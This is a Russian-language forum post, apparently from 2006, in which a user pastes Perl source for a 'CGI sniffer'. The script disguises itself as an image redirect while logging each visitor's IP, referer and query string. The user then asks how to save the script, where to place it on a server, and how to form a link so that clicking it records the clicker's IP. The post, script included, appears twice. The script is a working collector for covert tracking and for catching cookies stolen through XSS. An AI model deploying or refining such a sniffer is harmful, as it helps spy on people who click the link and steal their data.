Tikson
07.04.2006, 22:56
я скачал исходник простого cgi-сниффера на перле вот он
#!/usr/bin/perl
#путь к лог-файлу
$LogFile="log.txt";
#максимальное число записей в лог-файле
$mlength=50;
#делаем редирект на картинку
print "Location: image.gif\n\n";
#читаем CGI запрос
read(STDIN, $input, $ENV{'CONTENT_LENGTH'});
$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
#получаем время запроса и HTTP_REFERER
$now_string = localtime;
$ref = $ENV{'HTTP_REFERER'};
#читаем лог-файл в массив
open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";
@LOGtext=<LOG>;
close (LOG);
#открываем на запись лог
open (LOG, ">$LogFile");
#сохраняем данные запроса
print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";
#сохраняем остальные логи, так что бы длина лог-файла не превышала mlength
$counter=1;
foreach $LOGitem (@LOGtext)
{
if ($counter<$mlength){ print LOG "$LOGitem"; };
$counter++;
};
#закрываем лог
close (LOG);
exit;
1)С каким расширением его нужно сохранить?
2)И куда нужно положить(в папку www или в cgi или в другое место) чтобы он работал ?
3)Какой должен быть url до него(чтобы например при нажатии на него в логе был ip того кто нажал на ссылку)
#!/usr/bin/perl
#путь к лог-файлу
$LogFile="log.txt";
#максимальное число записей в лог-файле
$mlength=50;
#делаем редирект на картинку
print "Location: image.gif\n\n";
#читаем CGI запрос
read(STDIN, $input, $ENV{'CONTENT_LENGTH'});
$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
#получаем время запроса и HTTP_REFERER
$now_string = localtime;
$ref = $ENV{'HTTP_REFERER'};
#читаем лог-файл в массив
open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";
@LOGtext=<LOG>;
close (LOG);
#открываем на запись лог
open (LOG, ">$LogFile");
#сохраняем данные запроса
print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";
#сохраняем остальные логи, так что бы длина лог-файла не превышала mlength
$counter=1;
foreach $LOGitem (@LOGtext)
{
if ($counter<$mlength){ print LOG "$LOGitem"; };
$counter++;
};
#закрываем лог
close (LOG);
exit;
1)С каким расширением его нужно сохранить?
2)И куда нужно положить(в папку www или в cgi или в другое место) чтобы он работал ?
3)Какой должен быть url до него(чтобы например при нажатии на него в логе был ip того кто нажал на ссылку)